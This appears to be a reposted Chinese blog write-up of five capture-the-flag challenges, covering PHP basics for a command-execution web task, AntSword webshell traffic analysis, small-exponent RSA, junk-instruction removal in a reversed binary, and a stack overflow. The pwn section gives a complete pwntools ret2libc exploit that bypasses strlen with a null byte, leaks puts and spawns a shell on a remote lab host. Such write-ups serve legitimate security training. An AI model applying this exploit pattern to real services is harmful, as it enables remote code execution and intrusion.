欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 艺术 > 2025.2.7

2025.2.7

2025/2/10 19:25:03 来源:https://blog.csdn.net/2402_88491560/article/details/145496171  浏览:    关键词:2025.2.7

Web [LitCTF 2023]PHP是世界上最好的语言!!:

这个题要知道php代码命令怎么写:

首先是基础语法最常用的标签是 <?php ... ?>,比如:<?php

echo "Hello, World!";

?>

其中还有注释。注释是代码中的说明性文字,不会被执行。PHP支持两种注释方式:

    1. 单行注释:使用 // 或 #
    2. 多行注释:使用 /* ... */

还有变量:PHP中的变量以 $ 符号开头,后面跟变量名。变量名区分大小写。比如:$message = "Hello, World!";

echo $message;

还有数据类型:PHP支持多种数据类型,包括字符串、整数、浮点数、布尔值、数组和对象等。比如:$string = "Hello";

$integer = 42;

$float = 3.14;

$boolean = true;

$array = array(1, 2, 3, 4, 5);

$object = new stdClass();

还有运算符:

PHP支持多种运算符,包括算术运算符、赋值运算符、比较运算符、逻辑运算符等。比如:

$a = 5;

$b = 10;

$sum = $a + $b; // 算术运算符

$a += 5;        // 赋值运算符

$isGreater = $a > $b; // 比较运算符

$andResult = $a > 0 && $b > 0; // 逻辑运算符

还有控制结构:PHP支持多种控制结构,如条件语句和循环语句。比如: // 条件语句

if ($a > $b) {

    echo "a is greater than b";

} else {

    echo "a is not greater than b";

}

// 循环语句

for ($i = 0; $i < 10; $i++) {

    echo $i;

}

其次还有函数:函数是一段可以重复使用的代码块。比如使用 function 关键字来定义函数

function greet($name) {

    return "Hello, " . $name;

}

echo greet("Alice");这里我自己总结了一点php常用函数

还有类和对象:PHP支持面向对象编程(OOP)。您可以使用 class 关键字来定义类,并使用 new 关键字来创建对象。比如:class Person {

    public $name;

    public function __construct($name) {

        $this->name = $name;

    }

    public function greet() {

        return "Hello, " . $this->name;

    }

}

$person = new Person("Bob");

echo $person->greet();

根据题目,flag在目录里打开懵了,差点以为自己进错网站了 先看源代码,有没有跟flag有关的信息在尝试一下,工具能用 尝试一下,应该能用先看ls,有变化ok,在查看上一级目录,看见flag然后得到flag

MISC  [LitCTF 2024]女装照流量:

这个题要知道过滤特定HTTP方法:

  • 过滤GET请求:http.request.method == "GET"
  • 过滤POST请求:http.request.method == "POST"

还有蚁剑的流量为url编码+base64混淆。我们需要先进行url解密,在进行base解密

统计一看,http占大多数看了半天发现了个压缩包直接进行binwalk分离,得到压缩包,要密码不用多说,密码肯定在流量里面,在tcp26直接解码再将得到的最后两行删掉"参数名,&,="后 base64 解密得到密码 得到密码后直接解压得到flag

CRYPTO  [LitCTF 2024]small_e;

解压得到一个程序分析程序:

该程序是一个使用RSA加密算法的简单实现,用于加密一个字符串(flag)并将其密文输出。程序首先生成两个1024位的大素数p和q,然后计算它们的乘积n作为模数。接着,选择一个小的正整数e(在这个例子中为3)作为加密指数。对于字符串flag中的每个字符,程序计算其ASCII值的e次方模n,并将结果存储在c_list列表中。最后,程序输出模数n和密文列表c_list。直接写一个脚本得到flag:LitCTF{you_know_m_equ4l_cub3_root_0f_n}   

 REVERSE  [HNCTF 2022 WEEK2]e@sy_flower:

个人推荐不了解花指令的朋友去看这篇文章:

https://blog.csdn.net/Sciurdae/article/details/133750478

先查壳,32位ida打开 先搜索,看见flag看见花指令找到花指令因为上面写的是loc_4010D4 +1所以我们只需要把0x4010D4地址的机械码E9这一位改成0x90即nop指令即可。将E9改成90 随后到main函数最开头按p,就得到 直接查看反编译 分析代码:第一段代码看上去的作用应该是把字符串里的顺序重新排列了一下,循环的次数就是字符串的长度除以2.
第二段代码的作用就是正常的异或字符串,然后循环次数就是字符串的长度。
字符串也在第二段代码中,现在所有的解题元素都有了。
说实话只要看懂这两段代码你就会发现基本上没有什么要修改的内容,直接照搬代码就行了。

总结就是:思路就是输入的flag先互换位置,再与0x30异或。

用逆向脚本得到flag  

pwn  [LitCTF 2023]狠狠的溢出涅~:

先连接尝试,结果没有

先查壳,一个是64 另一个也是64

题目提供了libc,用不到LibcSearcher,直接反编译 main函数存在栈溢出漏洞,但是程序使用strlen防止用户进行栈溢出。使用\x00截断strlen函数即可,然后就是常规的ROP链。
我们只需要使用\x00绕过strlen函数即可。于是得到EXP:

from PwnModules import *

#io = process('./pwn4')

io = remote('node4.anna.nssctf.cn', 28413)

elf = ELF('./pwn41')

libc = ELF('/home/kaguya/PwnExp/libc-2.31.so')

context(arch='amd64', os='linux', log_level='debug')

Padding = b'\x00' + b'A' * (0x60 - 0x01 + 0x08)

rdi = 0x4007D3

ret = 0x400556

puts_plt = elf.plt['puts']

puts_got = elf.got['puts']

main = elf.sym['main']

Payload = Padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

io.sendline(Payload)

io.recvuntil(b'Ok,Message Received\n')

addr = leak_addr(2, io)

print(hex(addr))

base = addr - libc.sym['puts']

system = base + libc.sym['system']

binsh = base + next(libc.search(b'/bin/sh\x00'))

Payload = Padding + p64(ret) + p64(rdi) + p64(binsh) + p64(system)

io.sendline(Payload)

io.interactive()

运行得到flag

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com